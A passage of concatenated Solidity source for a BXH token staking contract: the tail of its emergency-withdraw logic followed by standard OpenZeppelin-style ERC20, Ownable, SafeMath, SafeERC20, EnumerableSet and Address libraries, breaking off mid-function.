pool.totalAmount.sub(_amount); pool.lpToken.safeTransfer(_user, _amount); } user.rewardDebt = user.amount.mul(pool.accBXHPerShare).div(1e12); emit Withdraw(_user, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() public notPause { for(uint256 pid=0;pid<poolInfo.length;pid++) { emergencyWithdraw(pid); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public notPause { PoolInfo storage pool = poolInfo[_pid]; if (isMultLP(address(pool.lpToken))) { emergencyWithdrawBXHAndToken(_pid, msg.sender); } else { emergencyWithdrawBXH(_pid, msg.sender); } } function emergencyWithdrawBXHAndToken(uint256 _pid, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 amount = user.amount; uint256 beforeToken = IERC20(multLpToken).balanceOf(address(this)); IMasterChefHeco(multLpChef).withdraw(poolCorrespond[_pid], amount); uint256 afterToken = IERC20(multLpToken).balanceOf(address(this)); pool.accMultLpPerShare = pool.accMultLpPerShare.add(afterToken.sub(beforeToken).mul(1e12).div(pool.totalAmount)); user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(_user, amount); pool.totalAmount = pool.totalAmount.sub(amount); emit EmergencyWithdraw(_user, _pid, amount); } function emergencyWithdrawBXH(uint256 _pid, address _user) private { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(_user, amount); pool.totalAmount = pool.totalAmount.sub(amount); emit EmergencyWithdraw(_user, _pid, amount); } // Safe BXH transfer function, just in case if rounding error causes pool to not have enough BXHs. function safeBXHTransfer(address _to, uint256 _amount) internal { uint256 bxhBal = bxh.balanceOf(address(this)); if (_amount > bxhBal) { bxh.transfer(_to, bxhBal); } else { bxh.transfer(_to, _amount); } } modifier notPause() { require(paused == false, "Mining has been suspended"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IMasterChefHeco { function pending(uint256 pid, address user) external view returns (uint256); function deposit(uint256 pid, uint256 amount) external; function withdraw(uint256 pid, uint256 amount) external; function emergencyWithdraw(uint256 pid) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IBXH is IERC20 { function mint(address to, uint256 amount) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return 